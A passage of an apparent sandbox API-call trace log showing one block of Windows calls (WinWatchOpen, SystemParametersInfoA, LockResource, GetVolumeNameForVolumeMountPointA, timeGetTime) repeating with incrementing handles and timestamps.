lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f0170 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f0190 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f01b0 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f01d0 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f01f0 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144968 [0037.079] WinWatchOpen () returned 0x5f0210 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144968 [0037.079] WinWatchOpen () returned 0x5f0230 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144969 [0037.079] WinWatchOpen () returned 0x5f0250 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144969 [0037.079] WinWatchOpen () returned 0x5f0270 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144969 [0037.079] WinWatchOpen () returned 0x5f0290 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144969 [0037.079] WinWatchOpen () returned 0x5f02b0 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.079] timeGetTime () returned 0x1144969 [0037.079] WinWatchOpen () returned 0x5f02d0 [0037.079] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.079] LockResource (hResData=0x0) returned 0x0 [0037.079] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.079] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x1144969 [0037.080] WinWatchOpen () returned 0x5f02f0 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x1144969 [0037.080] WinWatchOpen () returned 0x5f0310 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.080] WinWatchOpen () returned 0x5f0330 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.080] WinWatchOpen () returned 0x5f0350 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.080] WinWatchOpen () returned 0x5f0370 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.080] WinWatchOpen () returned 0x5f0390 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.080] WinWatchOpen () returned 0x5f03b0 [0037.080] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.080] LockResource (hResData=0x0) returned 0x0 [0037.080] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.080] WinWatchNotify () returned 0x0 [0037.080] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f03d0 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f03f0 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f0410 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f0430 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f0450 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f0470 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f0490 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.081] LockResource (hResData=0x0) returned 0x0 [0037.081] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.081] WinWatchNotify () returned 0x0 [0037.081] timeGetTime () returned 0x114496a [0037.081] WinWatchOpen () returned 0x5f04b0 [0037.081] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd758 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd778 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd798 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd7b8 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd7d8 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd7f8 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.082] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.082] WinWatchNotify () returned 0x0 [0037.082] timeGetTime () returned 0x114496a [0037.082] WinWatchOpen () returned 0x5fd818 [0037.082] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.082] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496a [0037.083] WinWatchOpen () returned 0x5fd838 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496a [0037.083] WinWatchOpen () returned 0x5fd858 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496a [0037.083] WinWatchOpen () returned 0x5fd878 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496a [0037.083] WinWatchOpen () returned 0x5fd898 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496b [0037.083] WinWatchOpen () returned 0x5fd8b8 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496b [0037.083] WinWatchOpen () returned 0x5fd8d8 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.083] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.083] WinWatchNotify () returned 0x0 [0037.083] timeGetTime () returned 0x114496b [0037.083] WinWatchOpen () returned 0x5fd8f8 [0037.083] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.083] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496b [0037.084] WinWatchOpen () returned 0x5fd918 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496c [0037.084] WinWatchOpen () returned 0x5fd938 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496c [0037.084] WinWatchOpen () returned 0x5fd958 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496c [0037.084] WinWatchOpen () returned 0x5fd978 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496c [0037.084] WinWatchOpen () returned 0x5fd998 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.084] timeGetTime () returned 0x114496c [0037.084] WinWatchOpen () returned 0x5fd9b8 [0037.084] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.084] LockResource (hResData=0x0) returned 0x0 [0037.084] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.084] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496c [0037.085] WinWatchOpen () returned 0x5fd9d8 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496c [0037.085] WinWatchOpen () returned 0x5fd9f8 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fda18 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fda38 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fda58 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fda78 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fda98 [0037.085] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.085] LockResource (hResData=0x0) returned 0x0 [0037.085] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.085] WinWatchNotify () returned 0x0 [0037.085] timeGetTime () returned 0x114496d [0037.085] WinWatchOpen () returned 0x5fdab8 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496d [0037.086] WinWatchOpen () returned 0x5fdad8 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 